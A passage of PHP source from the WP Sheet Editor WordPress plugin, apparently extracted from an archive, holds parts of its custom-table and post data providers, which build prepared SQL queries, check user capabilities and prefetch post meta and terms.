array_fill( 0, count( $args[ $column_key ] ), '%s' ) ); $wheres[] = "t.$column_key IN ($value_in_query_placeholders)"; $prepared_data = array_merge( $prepared_data, array_map( 'wp_kses_post', $args[ $column_key ] ) ); } else { $wheres[] = "t.$column_key = %s"; $prepared_data[] = wp_kses_post( $args[ $column_key ] ); } } } // Not clausses foreach ( $this->get_arg( 'columns', $args['post_type'] ) as $column_key => $column ) { $not_arg_key = $column_key . '__not'; if ( empty( $args[ $not_arg_key ] ) ) { continue; } if ( $column['type'] === 'numeric' ) { if ( is_array( $args[ $not_arg_key ] ) ) { $value_in_query_placeholders = implode( ', ', array_fill( 0, count( $args[ $not_arg_key ] ), '%d' ) ); $wheres[] = "t.$column_key NOT IN ($value_in_query_placeholders)"; $prepared_data = array_merge( $prepared_data, array_map( 'intval', $args[ $not_arg_key ] ) ); } else { $wheres[] = "t.$column_key != %d"; $prepared_data[] = intval( $args[ $not_arg_key ] ); } } elseif ( $column['type'] === 'float' ) { if ( is_array( $args[ $not_arg_key ] ) ) { $value_in_query_placeholders = implode( ', ', array_fill( 0, count( $args[ $not_arg_key ] ), '%f' ) ); $wheres[] = "t.$column_key NOT IN ($value_in_query_placeholders)"; $prepared_data = array_merge( $prepared_data, array_map( 'floatval', $args[ $not_arg_key ] ) ); } else { $wheres[] = "t.$column_key != %f"; $prepared_data[] = floatval( $args[ $not_arg_key ] ); } } elseif ( $column['type'] === 'dates' ) { if ( ! empty( $args[ $not_arg_key ] ) ) { $wheres[] = "t.$column_key NOT LIKE %s "; $prepared_data[] = '%' . $wpdb->esc_like( $args[ $not_arg_key ] ) . '%'; } else { // devolver los que tienen un tripSection futuro if ( ! empty( $args[ $not_arg_key . '_after' ] ) ) { $wheres[] = "t.$column_key < %s"; $prepared_data[] = $args[ $not_arg_key . '_after' ]; } if ( ! empty( $args[ $not_arg_key . '_before' ] ) ) { $wheres[] = "t.$column_key > %s"; $prepared_data[] = $args[ $not_arg_key . '_before' ]; } } } else { if ( is_array( $args[ $not_arg_key ] ) ) { $value_in_query_placeholders = implode( ', ', array_fill( 0, count( $args[ $not_arg_key ] ), '%s' ) ); $wheres[] = "t.$column_key NOT IN ($value_in_query_placeholders)"; $prepared_data = array_merge( $prepared_data, array_map( 'wp_kses_post', $args[ $not_arg_key ] ) ); } else { $wheres[] = "t.$column_key != %s"; $prepared_data[] = wp_kses_post( $args[ $not_arg_key ] ); } } } $sql .= ( ! empty( $wheres ) ) ? ' WHERE ' . implode( ' AND ', $wheres ) : ''; if ( ! empty( $group_by ) ) { $sql .= ' GROUP BY ' . esc_sql( $group_by ); } if ( ! empty( $order_by ) && ! empty( $order ) ) { $sql .= ' ORDER BY t.' . esc_sql( $order_by ) . ' ' . esc_sql( strtoupper( $order ) ); } if ( $paginated && ! empty( $paged ) && ! empty( $posts_per_page ) ) { $offset = ( $paged < 2 ) ? 0 : ( $paged - 1 ) * (int) $posts_per_page; $sql .= ' LIMIT ' . intval( $offset ) . ',' . intval( $posts_per_page ); } if ( strpos( $sql, 'GROUP BY' ) !== false && strpos( $sql, 'COUNT(*)' ) !== false ) { $sql = 'SELECT COUNT(*) FROM (' . str_replace( 'COUNT(*)', '*', $sql ) . ') tt'; } $sql = apply_filters( 'vg_sheet_editor/provider/custom_table/get_rows_sql', $sql, $args, $this->args[ $args['post_type'] ] ); if ( empty( $prepared_data ) ) { $prepared_sql = $sql; } else { $prepared_sql = $wpdb->prepare( $sql, $prepared_data ); } $results = ( $method === 'get_results' ) ? $wpdb->get_results( $prepared_sql, OBJECT ) : $wpdb->get_var( $prepared_sql ); // This regex removes the 64-characters that WP adds as placeholders for % $this->last_request = preg_replace( '/\{[a-z0-9_]{64}\}/', '%', $prepared_sql ); return apply_filters( 'vg_sheet_editor/provider/custom_table/get_rows_results', $results, $args, $this->args[ $args['post_type'] ], $sql ); } function _insert_row( $data ) { global $wpdb; if ( empty( $data['post_type'] ) ) { $data['post_type'] = VGSE()->helpers->get_provider_from_query_string(); } $primary_column_key = $this->get_post_data_table_id_key( $data['post_type'] ); $original_data = $data; $context = ( ! empty( $data['ID'] ) ) ? 'update' : 'insert'; $item_id = ( $context === 'update' ) ? (int) $data['ID'] : null; $new_data_format = array(); $new_data = array(); foreach ( $this->get_arg( 'columns', $data['post_type'] ) as $column_key => $column ) { if ( ! isset( $data[ $column_key ] ) || ( empty( $data[ $column_key ] ) && ! is_numeric( $data[ $column_key ] ) ) ) { $data[ $column_key ] = $column['default_value_insert']; } if ( $column['type'] === 'numeric' ) { $new_data[ $column_key ] = (int) $data[ $column_key ]; $new_data_format[ $column_key ] = '%d'; } elseif ( $column['type'] === 'float' ) { $new_data[ $column_key ] = (float) $data[ $column_key ]; $new_data_format[ $column_key ] = '%s'; } elseif ( $column['type'] === 'slug' ) { $new_data[ $column_key ] = sanitize_title( $data[ $column_key ] ); $new_data_format[ $column_key ] = '%s'; } elseif ( $column['type'] === 'safe_html' ) { $new_data[ $column_key ] = wp_kses_post( $data[ $column_key ] ); $new_data_format[ $column_key ] = '%s'; } else { $new_data[ $column_key ] = sanitize_text_field( $data[ $column_key ] ); $new_data_format[ $column_key ] = '%s'; } if ( ! empty( $new_data[ $column_key ] ) ) { $new_data[ $column_key ] = wp_unslash( $new_data[ $column_key ] ); } } if ( $context === 'insert' ) { $new_data = apply_filters( 'saas/db_table_manager/insert_data', $new_data, $original_data, $this->args[ $data['post_type'] ] ); $new_data_format = apply_filters( 'saas/db_table_manager/insert_data_format', $new_data_format, $original_data, $this->args[ $data['post_type'] ] ); if ( isset( $new_data['ID'] ) ) { unset( $new_data['ID'] ); } if ( isset( $new_data_format['ID'] ) ) { unset( $new_data_format['ID'] ); } $result = $wpdb->insert( $this->get_arg( 'table_name', $data['post_type'] ), $new_data, $new_data_format ); } else { // si es una actualización de datos actualizamos solo los datos que fueron definidos // durante la solicitud a la API. De esta forma evitamos borrar datos que se omitieron // porque no se quieren actualizar , los borramos solo si se llamó a la API con los // valores vacíos $new_data = array_intersect_key( $new_data, $original_data ); $new_data_format = array_values( array_intersect_key( $new_data_format, $new_data ) ); $new_data = apply_filters( 'saas/db_table_manager/update_data', $new_data, $original_data, $this->args[ $data['post_type'] ] ); $new_data_format = apply_filters( 'saas/db_table_manager/update_data_format', $new_data_format, $original_data, $this->args[ $data['post_type'] ] ); if ( ! empty( $new_data ) ) { $new_data_columns = array_keys( $new_data ); if ( in_array( 'ID', $new_data_columns, true ) ) { $id_column_index = array_search( 'ID', $new_data_columns, true ); $new_data[ $primary_column_key ] = $new_data['ID']; unset( $new_data['ID'] ); unset( $new_data_format[ $id_column_index ] ); } $result = $wpdb->update( $this->get_arg( 'table_name', $data['post_type'] ), $new_data, array( $primary_column_key => (int) $original_data['ID'], ), $new_data_format, array( '%d' ) ); } else { $result = true; } } if ( $result === false ) { return false; } $id = ( ! empty( $data['ID'] ) ) ? (int) $data['ID'] : $wpdb->insert_id; if ( ! $id ) { return false; } do_action( 'saas/db_table_manager/after_insert_row', $id, $new_data, $original_data, $this->args[ $data['post_type'] ], $data['post_type'] ); return $id; } function _delete_row( $id, $post_type ) { global $wpdb; $result = $wpdb->delete( $this->get_arg( 'table_name', $post_type ), array( $this->get_post_data_table_id_key( $post_type ) => (int) $id, ), array( '%d', ) ); } function _format_item( $row, $post_type ) { $primary_key = $this->get_post_data_table_id_key( $post_type ); if ( is_object( $row ) ) { $row->post_type = $post_type; $row->provider = $post_type; $row->ID = (int) $row->$primary_key; $row->$primary_key = (int) $row->$primary_key; } else { $row['post_type'] = $post_type; $row['provider'] = $post_type; $row['ID'] = (int) $row[ $primary_key ]; $row[ $primary_key ] = (int) $row[ $primary_key ]; } return $row; } function get_item( $id, $format = null ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); $rows = $this->_get_rows( array( 'posts_per_page' => 1, $this->get_post_data_table_id_key( $post_type ) => $id, ) ); if ( empty( $rows ) ) { return false; } $row = current( $rows ); $row = $this->_format_item( $row, $post_type ); if ( $format == OBJECT ) { $row = (object) $row; } return apply_filters( 'vg_sheet_editor/provider/custom_table/get_item', $row, $id, $format ); } function _get_meta_value_column_key( $post_type ) { return VGSE()->helpers->sanitize_table_key( apply_filters( 'vg_sheet_editor/provider/custom_table/meta_value_column_key', 'meta_value', $post_type ) ); } function _get_meta_key_column_key( $post_type ) { return VGSE()->helpers->sanitize_table_key( apply_filters( 'vg_sheet_editor/provider/custom_table/meta_key_column_key', 'meta_key', $post_type ) ); } function get_item_meta( $id, $key, $single = true, $context = 'save', $bypass_cache = false ) { global $wpdb; $value = ''; $meta_table_name = VGSE()->helpers->get_current_provider()->get_meta_table_name(); $meta_table_id_column = VGSE()->helpers->get_current_provider()->get_meta_table_post_id_key(); $post_type = VGSE()->helpers->get_provider_from_query_string(); $meta_value_column = $this->_get_meta_value_column_key( $post_type ); $meta_key_column = $this->_get_meta_key_column_key( $post_type ); if ( $meta_table_id_column && $meta_table_name ) { $value = $wpdb->get_var( $wpdb->prepare( "SELECT `$meta_value_column` FROM $meta_table_name WHERE `$meta_key_column` = %s AND `$meta_table_id_column` = %d LIMIT 1", $key, $id ) ); } return apply_filters( 'vg_sheet_editor/provider/custom_table/get_item_meta', $value, $id, $key, $single, $context ); } function get_item_data( $id, $key ) { $item = $this->get_item( $id ); $value = ( isset( $item->$key ) ) ? $item->$key : ''; return apply_filters( 'vg_sheet_editor/provider/custom_table/get_item_data', $value, $id, $key, true, 'read' ); } function update_item_data( $values, $wp_error = false ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); $edit_capability = $this->get_provider_edit_capability( $post_type ); if ( ! WP_Sheet_Editor_Helpers::current_user_can( $edit_capability ) ) { return false; } $id = $values['ID']; if ( ! empty( $values['wpse_status'] ) && $values['wpse_status'] === 'delete' ) { do_action( 'vg_sheet_editor/provider/custom_table/before_delete_row', $id, $post_type ); if ( apply_filters( 'vg_sheet_editor/provider/custom_table/delete_row_handler', null, $id, $post_type ) === null ) { $this->_delete_row( $id, $post_type ); } VGSE()->deleted_rows_ids[] = (int) $id; } else { $this->_insert_row( $values ); } return $id; } function delete_item_meta( $id, $key ) { global $wpdb; $meta_table_name = VGSE()->helpers->get_current_provider()->get_meta_table_name(); $meta_table_id_column = VGSE()->helpers->get_current_provider()->get_meta_table_post_id_key(); if ( ! $meta_table_name || ! $meta_table_id_column ) { return false; } $post_type = VGSE()->helpers->get_provider_from_query_string(); $meta_key_column = $this->_get_meta_key_column_key( $post_type ); $meta_row_exists = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $meta_table_name WHERE $meta_key_column = %s AND $meta_table_id_column = %d", $key, $id ) ); if ( $meta_row_exists ) { $wpdb->delete( $meta_table_name, array( $meta_key_column => $key, $meta_table_id_column => $id, ) ); } return true; } function update_item_meta( $id, $key, $value ) { global $wpdb; $meta_table_name = VGSE()->helpers->get_current_provider()->get_meta_table_name(); $meta_table_id_column = VGSE()->helpers->get_current_provider()->get_meta_table_post_id_key(); if ( ! $meta_table_name || ! $meta_table_id_column ) { return false; } $post_type = VGSE()->helpers->get_provider_from_query_string(); $meta_value_column = $this->_get_meta_value_column_key( $post_type ); $meta_key_column = $this->_get_meta_key_column_key( $post_type ); $meta_row_exists = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $meta_table_name WHERE $meta_key_column = %s AND $meta_table_id_column = %d", $key, $id ) ); if ( $meta_row_exists ) { $wpdb->update( $meta_table_name, array( $meta_value_column => wp_kses_post( apply_filters( 'vg_sheet_editor/provider/custom_table/update_item_meta', $value, $id, $key ) ), ), array( $meta_key_column => $key, $meta_table_id_column => $id, ) ); } else { $wpdb->insert( $meta_table_name, array( $meta_value_column => wp_kses_post( apply_filters( 'vg_sheet_editor/provider/custom_table/update_item_meta', $value, $id, $key ) ), $meta_key_column => $key, $meta_table_id_column => $id, ) ); } return true; } function set_object_terms( $post_id, $terms_saved, $key ) { // Custom tables don't have taxonomies } function get_object_taxonomies( $post_type = null ) { return get_taxonomies( array(), 'objects' ); } function create_item( $values ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); $edit_capability = $this->get_provider_edit_capability( $post_type ); if ( ! WP_Sheet_Editor_Helpers::current_user_can( $edit_capability ) ) { return false; } $new_id = $this->_insert_row( $values ); return $new_id; } function get_searchable_column_keys( $post_type ) { $all_columns = $this->_get_table_columns( $post_type ); $out = array(); foreach ( $all_columns as $column ) { // We only search in date, text, varchar columns (text columns) if ( ! preg_match( '/date|text|varchar/', $column['Type'] ) ) { continue; } $out[] = $column['Field']; } return $out; } function get_item_ids_by_keyword( $keyword, $post_type, $operator = 'LIKE' ) { global $wpdb; $operator = ( $operator === 'LIKE' ) ? 'LIKE' : 'NOT LIKE'; $primary_key_column = esc_sql( $this->get_post_data_table_id_key( $post_type ) ); $searchable_columns = $this->get_searchable_column_keys( $post_type ); $checks = array(); $keywords = array_map( 'trim', explode( ';', $keyword ) ); $prepared_data = array(); foreach ( $keywords as $single_keyword ) { $single_check = array(); foreach ( $searchable_columns as $column ) { $single_check[] = $column . ' LIKE %s '; $prepared_data[] = '%' . $wpdb->esc_like( $single_keyword ) . '%'; } if ( ! empty( $single_check ) ) { $checks[] = ' (' . implode( ' OR ', $single_check ) . ' ) '; } } $ids = $wpdb->get_col( $wpdb->prepare( "SELECT $primary_key_column FROM " . VGSE()->helpers->sanitize_table_key( $post_type ) . ' WHERE ' . implode( ' OR ', $checks ), $prepared_data ) ); return $ids; } function get_meta_object_id_field( $field_key, $column_settings ) { $id_key = $this->get_meta_table_post_id_key(); return $id_key; } function get_table_name_for_field( $field_key, $column_settings ) { global $wpdb; $out = VGSE()->helpers->get_provider_from_query_string(); $meta_table = $this->get_meta_table_name( $out ); $meta_key_column = $this->_get_meta_key_column_key( $out ); if ( $meta_table && $wpdb->get_var( $wpdb->prepare( "SELECT `$meta_key_column` FROM $meta_table WHERE `$meta_key_column` = %s LIMIT 1", $field_key ) ) ) { $out = $meta_table; } if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $out = VGSE()->helpers->sanitize_table_key( $out ); } return $out; } function get_meta_field_unique_values( $meta_key, $post_type = null ) { global $wpdb; $values = apply_filters( 'vg_sheet_editor/provider/custom_table/meta_field_unique_values', array(), $meta_key, $post_type ); return $values; } function get_all_meta_fields( $post_type = null ) { global $wpdb; $pre_value = apply_filters( 'vg_sheet_editor/provider/custom_table/all_meta_fields_pre_value', null, $post_type ); if ( is_array( $pre_value ) ) { return $pre_value; } $max_fields_limit = VGSE()->get_option( 'meta_fields_scan_limit', 2500 ); $post_meta_table = $this->get_meta_table_name( $post_type ); $post_meta_post_id_key = $this->get_meta_table_post_id_key( $post_type ); $meta_value_column = $this->_get_meta_value_column_key( $post_type ); $meta_key_column = $this->_get_meta_key_column_key( $post_type ); if ( ! empty( $post_meta_table ) && ! empty( $post_meta_post_id_key ) ) { $meta_keys_sql = $wpdb->prepare( "SELECT m.$meta_key_column FROM $post_meta_table m WHERE m.$meta_key_column NOT LIKE '%oembed%' AND m.$meta_value_column NOT LIKE 'field_%' GROUP BY m.$meta_key_column LIMIT %d", $max_fields_limit ); $meta_keys = $wpdb->get_col( $meta_keys_sql ); } else { $meta_keys = array(); } return apply_filters( 'vg_sheet_editor/provider/custom_table/all_meta_fields', $meta_keys, $post_type ); } } modules/wp-sheet-editor/inc/providers/post.php000064400000077436147600365160015551 0ustar00posts WHERE ID IN ($ids_in_query_placeholders) AND post_author = %s AND post_type = %s"; $allowed_row_ids = array_map( 'intval', $wpdb->get_col( $wpdb->prepare( $prepare_sql, $prepare_data ) ) ); return $allowed_row_ids; } function filter_rows_before_edit( $data, $post_type ) { $post_type_object = get_post_type_object( $post_type ); if ( ! $post_type_object || WP_Sheet_Editor_Helpers::current_user_can( $post_type_object->cap->edit_others_posts ) || empty( $data ) ) { return $data; } $first_row = current( $data ); if ( is_numeric( $first_row ) ) { $row_ids = array_filter( array_map( 'intval', $data ) ); } elseif ( is_array( $first_row ) ) { $row_ids = array_filter( array_map( 'intval', array_map( array( VGSE()->helpers, 'sanitize_integer' ), wp_list_pluck( $data, 'ID' ) ) ) ); } if ( empty( $row_ids ) ) { return $data; } $allowed_row_ids = $this->_get_allowed_ids_for_edit( $row_ids, $post_type ); foreach ( $data as $row_index => $row ) { if ( is_array( $row ) ) { $id = ( empty( $row['ID'] ) ) ? 0 : (int) VGSE()->helpers->sanitize_integer( $row['ID'] ); } else { $id = (int) $row; } if ( $id && ! in_array( $id, $allowed_row_ids, true ) ) { unset( $data[ $row_index ] ); } } return $data; } function get_provider_read_capability( $post_type_key ) { return $this->get_provider_edit_capability( $post_type_key ); } function delete_meta_key( $old_key, $post_type ) { global $wpdb; $meta_table_name = $this->get_meta_table_name( $post_type ); $wc_product_post_type = apply_filters( 'vg_sheet_editor/woocommerce/product_post_type_key', 'product' ); if ( $post_type === $wc_product_post_type && class_exists( 'WooCommerce' ) ) { $post_type = array( $wc_product_post_type, 'product_variation' ); } if ( is_string( $post_type ) ) { $post_type = array( $post_type ); } $post_types_in_query_placeholders = implode( ', ', array_fill( 0, count( $post_type ), '%s' ) ); $sql = $wpdb->prepare( "DELETE pm FROM $meta_table_name pm INNER JOIN $wpdb->posts p ON p.ID = pm.post_id WHERE p.post_type IN ($post_types_in_query_placeholders) AND pm.meta_key = %s", array_merge( $post_type, array( $old_key ) ) ); $modified = $wpdb->query( $sql ); return $modified; } function rename_meta_key( $old_key, $new_key, $post_type ) { global $wpdb; $meta_table_name = $this->get_meta_table_name( $post_type ); $wc_product_post_type = apply_filters( 'vg_sheet_editor/woocommerce/product_post_type_key', 'product' ); if ( $post_type === $wc_product_post_type && class_exists( 'WooCommerce' ) ) { $post_type = array( $wc_product_post_type, 'product_variation' ); } if ( is_string( $post_type ) ) { $post_type = array( $post_type ); } $post_types_in_query_placeholders = implode( ', ', array_fill( 0, count( $post_type ), '%s' ) ); $sql = $wpdb->prepare( "UPDATE $meta_table_name pm LEFT JOIN $wpdb->posts p ON p.ID = pm.post_id SET pm.meta_key = %s WHERE p.post_type IN ($post_types_in_query_placeholders) AND pm.meta_key = %s", array_merge( array( $new_key ), $post_type, array( $old_key ) ) ); $modified = $wpdb->query( $sql ); return $modified; } function get_provider_edit_capability( $post_type_key ) { if ( ! post_type_exists( $post_type_key ) ) { return false; } $post_type_object = get_post_type_object( $post_type_key ); return $post_type_object->cap->edit_posts; } function get_provider_delete_capability( $post_type_key ) { if ( ! post_type_exists( $post_type_key ) ) { return false; } $post_type_object = get_post_type_object( $post_type_key ); return $post_type_object->cap->delete_posts; } function init() { } /** * Creates or returns an instance of this class. * * @return Foo A single instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new VGSE_Provider_Post(); self::$instance->init(); } return self::$instance; } function get_post_data_table_id_key( $post_type = null ) { if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } $post_id_key = apply_filters( 'vgse_sheet_editor/provider/post/post_data_table_id_key', 'ID', $post_type ); if ( ! $post_id_key ) { $post_id_key = 'ID'; } if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $post_id_key = VGSE()->helpers->sanitize_table_key( $post_id_key ); } return $post_id_key; } function get_meta_table_post_id_key( $post_type = null ) { if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } $post_id_key = apply_filters( 'vgse_sheet_editor/provider/post/meta_table_post_id_key', 'post_id', $post_type ); if ( ! $post_id_key ) { $post_id_key = 'post_id'; } if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $post_id_key = VGSE()->helpers->sanitize_table_key( $post_id_key ); } return $post_id_key; } function get_meta_table_name( $post_type = null ) { global $wpdb; if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } $table_name = apply_filters( 'vgse_sheet_editor/provider/post/meta_table_name', $wpdb->postmeta, $post_type ); if ( ! $table_name ) { $table_name = $wpdb->postmeta; } if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $table_name = VGSE()->helpers->sanitize_table_key( $table_name ); } return $table_name; } function prefetch_data( $post_ids, $post_type, $spreadsheet_columns ) { if ( ! isset( self::$data_store ) ) { self::$data_store = array( 'terms' => array(), 'meta' => array(), 'item' => array(), ); } // Prefetch in groups of posts $post_groups = array_chunk( $post_ids, VGSE()->get_option( 'be_prefetch_batch_size', 5000 ) ); foreach ( $post_groups as $group ) { if ( ! VGSE()->get_option( 'be_disable_post_terms_prefetch', false ) ) { $new_terms = $this->_get_all_terms( $group, $post_type, $spreadsheet_columns ); self::$data_store['terms'] = ( ! empty( self::$data_store['terms'] ) ) ? array_merge( self::$data_store['terms'], $new_terms ) : $new_terms; } if ( ! VGSE()->get_option( 'be_disable_post_meta_prefetch', false ) ) { $new_meta = $this->_get_all_meta( $group, $post_type, $spreadsheet_columns ); self::$data_store['meta'] = ( ! empty( self::$data_store['meta'] ) ) ? array_merge( self::$data_store['meta'], $new_meta ) : $new_meta; } } } function _get_all_meta( $post_ids, $post_type, $spreadsheet_columns ) { global $wpdb; $post_meta = array(); $post_ids = array_map( 'intval', array_unique( $post_ids ) ); $raw_meta_columns = wp_list_filter( $spreadsheet_columns, array( 'data_type' => 'meta_data', 'allow_to_prefetch_value' => true, ) ); // Exclude serialized sub column foreach ( $raw_meta_columns as $index => $raw_meta_column ) { if ( ! empty( $raw_meta_column['serialized_field_original_key'] ) ) { unset( $raw_meta_columns[ $index ] ); } } $meta_columns = apply_filters( 'vgse_sheet_editor/provider/post/prefetch/meta_keys', array_unique( array_values( array_merge( array_keys( $raw_meta_columns ), wp_list_pluck( $raw_meta_columns, 'key_for_formulas' ) ) ) ), $post_type ); $post_meta_table = $this->get_meta_table_name( $post_type ); $post_meta_post_id_key = $this->get_meta_table_post_id_key( $post_type ); $meta_columns_groups = array_chunk( $meta_columns, 100 ); $post_meta_raw = array(); foreach ( $meta_columns_groups as $meta_columns_group ) { $meta_columns_group_sanitized = array_map( 'trim', array_unique( $meta_columns_group ) ); $meta_columns_group_in_query_placeholders = implode( ', ', array_fill( 0, count( $meta_columns_group_sanitized ), '%s' ) ); $post_ids_in_query_placeholders = implode( ', ', array_fill( 0, count( $post_ids ), '%d' ) ); $meta_sql = $wpdb->prepare( "SELECT m1.* FROM $post_meta_table as m1 USE INDEX () WHERE m1.meta_key IN ($meta_columns_group_in_query_placeholders) AND m1.$post_meta_post_id_key IN ($post_ids_in_query_placeholders) AND m1.meta_value <> '' GROUP BY m1.$post_meta_post_id_key, m1.meta_key", array_merge( $meta_columns_group_sanitized, $post_ids ) ); $post_meta_raw_group = $wpdb->get_results( $meta_sql, ARRAY_A ); // If any DB error happened during the prefetch, skip the prefetch and disable it for future sessions // If we don't skip, we set all the meta fields as empty at the end of this function so we must avoid that if ( $wpdb->last_error ) { VGSE()->update_option( 'be_disable_data_prefetch', 1 ); return $post_meta; } $post_meta_raw = array_merge( $post_meta_raw, $post_meta_raw_group ); } foreach ( $post_meta_raw as $post_meta_per_key ) { $post_id = 'item' . $post_meta_per_key[ $post_meta_post_id_key ]; if ( ! isset( $post_meta[ $post_id ] ) ) { $post_meta[ $post_id ] = array(); } $post_meta[ $post_id ][ $post_meta_per_key['meta_key'] ] = maybe_unserialize( $post_meta_per_key['meta_value'] ); } $post_meta = $this->_prepare_prefetched_data( $post_meta, $post_ids, $meta_columns ); return $post_meta; } function _prepare_prefetched_data( $post_meta, $post_ids, $columns ) { // Find posts from original list that are missing from the mysql results, so we assume // that they don't have any meta for the required field keys, so we auto generate the array with empty values. $posts_missing_meta = array_diff( $post_ids, array_map( 'intval', explode( ',', preg_replace( '/[^0-9,]/', '', implode( ',', array_keys( $post_meta ) ) ) ) ) ); if ( ! empty( $posts_missing_meta ) ) { foreach ( $posts_missing_meta as $post_id ) { $post_meta[ 'item' . $post_id ] = array(); } } $default_meta_values = array_fill_keys( $columns, '' ); foreach ( $post_meta as $post_id => $post_meta_fields ) { $post_meta_fields = wp_parse_args( $post_meta_fields, $default_meta_values ); $post_meta[ $post_id ] = $post_meta_fields; } return $post_meta; } function _get_all_terms( $post_ids, $post_type, $spreadsheet_columns ) { global $wpdb; $post_terms = array(); $post_ids = array_map( 'intval', array_unique( $post_ids ) ); $taxonomy_columns = apply_filters( 'vgse_sheet_editor/provider/post/prefetch/taxonomy_keys', array_keys( wp_list_filter( $spreadsheet_columns, array( 'data_type' => 'post_terms' ) ) ), $post_type ); if ( empty( $taxonomy_columns ) ) { return array(); } $separator = VGSE()->helpers->get_term_separator(); if ( ! empty( VGSE()->options['manage_taxonomy_columns_term_ids'] ) ) { $field_key_to_concatenate = 't.term_id'; } elseif ( ! empty( VGSE()->options['manage_taxonomy_columns_term_slugs'] ) ) { $field_key_to_concatenate = 't.slug'; } else { $field_key_to_concatenate = 't.name'; } $prepared_data = array_merge( array( $separator . ' ' ), array_map( 'trim', $taxonomy_columns ), $post_ids ); $taxonomy_columns_in_query_placeholders = implode( ', ', array_fill( 0, count( $taxonomy_columns ), '%s' ) ); $post_ids_in_query_placeholders = implode( ', ', array_fill( 0, count( $post_ids ), '%d' ) ); $post_terms_sql = $wpdb->prepare( "SELECT tr.object_id, tt.taxonomy, GROUP_CONCAT($field_key_to_concatenate SEPARATOR %s) as terms, GROUP_CONCAT(tt.parent SEPARATOR '') as parents FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN $wpdb->term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id AND tt.taxonomy IN ($taxonomy_columns_in_query_placeholders) AND tr.object_id IN ($post_ids_in_query_placeholders) GROUP BY tr.object_id, tt.taxonomy ORDER BY t.name ASC", $prepared_data ); $post_terms_raw = $wpdb->get_results( $post_terms_sql, ARRAY_A ); foreach ( $post_terms_raw as $post_terms_per_taxonomy ) { // When a post is using a term with a parent, we set a placeholder to remove the taxonomy later // because we'll generate it with PHP to have hierarchy like parent > child if ( ! preg_match( '/^0+$/', $post_terms_per_taxonomy['parents'] ) ) { $post_terms_per_taxonomy['terms'] = 'wpse-has-parents'; } $post_id = 'item' . $post_terms_per_taxonomy['object_id']; if ( ! isset( $post_terms[ $post_id ] ) ) { $post_terms[ $post_id ] = array(); } $post_terms[ $post_id ][ $post_terms_per_taxonomy['taxonomy'] ] = html_entity_decode( $post_terms_per_taxonomy['terms'] ); } $post_terms = $this->_prepare_prefetched_data( $post_terms, $post_ids, $taxonomy_columns ); // We remove the empty hierarchical taxonomies to generate them with PHP with the hierarchy foreach ( $post_terms as $post_key => $taxonomies ) { foreach ( $taxonomies as $taxonomy_key => $terms ) { if ( $terms === 'wpse-has-parents' ) { unset( $post_terms[ $post_key ][ $taxonomy_key ] ); } // The GROUP_CONCAT used by the prefetch's SQL query has a size limit and when the terms string // is >= 1024 bytes, it's very likely to have been cut off by the GROUP_CONCAT limit. // So we remove this from the cache if ( isset( $post_terms[ $post_key ][ $taxonomy_key ] ) && strlen( $post_terms[ $post_key ][ $taxonomy_key ] ) >= 1024 ) { unset( $post_terms[ $post_key ][ $taxonomy_key ] ); } } } return $post_terms; } function get_item_terms( $post_id, $taxonomy ) { if ( isset( self::$data_store['terms'][ 'item' . $post_id ] ) && isset( self::$data_store['terms'][ 'item' . $post_id ][ $taxonomy ] ) ) { $raw_value = self::$data_store['terms'][ 'item' . $post_id ][ $taxonomy ]; } else { $raw_value = VGSE()->data_helpers->prepare_post_terms_for_display( wp_get_post_terms( $post_id, $taxonomy, array( 'update_term_meta_cache' => false, ) ) ); self::$data_store['terms'][ 'item' . $post_id ][ $taxonomy ] = $raw_value; } // Sort terms alphabetically if ( ! empty( $raw_value ) ) { $separator = VGSE()->helpers->get_term_separator(); $terms = array_map( 'trim', explode( $separator, $raw_value ) ); sort( $terms ); $raw_value = implode( $separator . ' ', $terms ); } $post_type = $this->get_item_data( $post_id, 'post_type' ); return apply_filters( 'vg_sheet_editor/provider/post/get_items_terms/' . $post_type, $raw_value, $post_id, $taxonomy ); } function get_statuses() { $post_type = VGSE()->helpers->get_provider_from_query_string(); $all_statuses = get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ); $post_statuses = array(); foreach ( $all_statuses as $status_key => $status ) { if ( empty( VGSE()->options['show_all_custom_statuses'] ) && ! empty( $status->label_count['domain'] ) ) { continue; } $post_statuses[ $status_key ] = $status->label; } if ( ( $post_type === 'page' && ! WP_Sheet_Editor_Helpers::current_user_can( 'publish_pages' ) ) || ( $post_type !== 'page' && ! WP_Sheet_Editor_Helpers::current_user_can( 'publish_posts' ) ) ) { unset( $post_statuses['publish'] ); } if ( ( $post_type === 'page' && ! WP_Sheet_Editor_Helpers::current_user_can( 'delete_pages' ) ) || ( $post_type !== 'page' && ! WP_Sheet_Editor_Helpers::current_user_can( 'delete_posts' ) ) ) { unset( $post_statuses['trash'] ); } return apply_filters( 'vg_sheet_editor/provider/post/statuses', $post_statuses, $post_type ); } function maybe_add_order_clause( $wp_query_args ) { global $wpdb; if ( ! empty( $wp_query_args['orderby'] ) ) { return $wp_query_args; } $cache_key = 'wpse_has_duplicate_dates' . $wp_query_args['post_type']; $has_duplicate_dates = get_transient( $cache_key ); if ( ! is_string( $has_duplicate_dates ) ) { $sql = $wpdb->prepare( "SELECT COUNT(*) as count FROM $wpdb->posts WHERE post_type = %s GROUP BY post_date HAVING count > 1 ORDER BY count DESC LIMIT 1", $wp_query_args['post_type'] ); $has_duplicate_dates = (int) $wpdb->get_var( $sql ) ? 'yes' : 'no'; set_transient( $cache_key, $has_duplicate_dates, DAY_IN_SECONDS ); } if ( $has_duplicate_dates === 'yes' ) { $wp_query_args['orderby'] = array( 'post_date' => 'DESC', 'ID' => 'DESC', 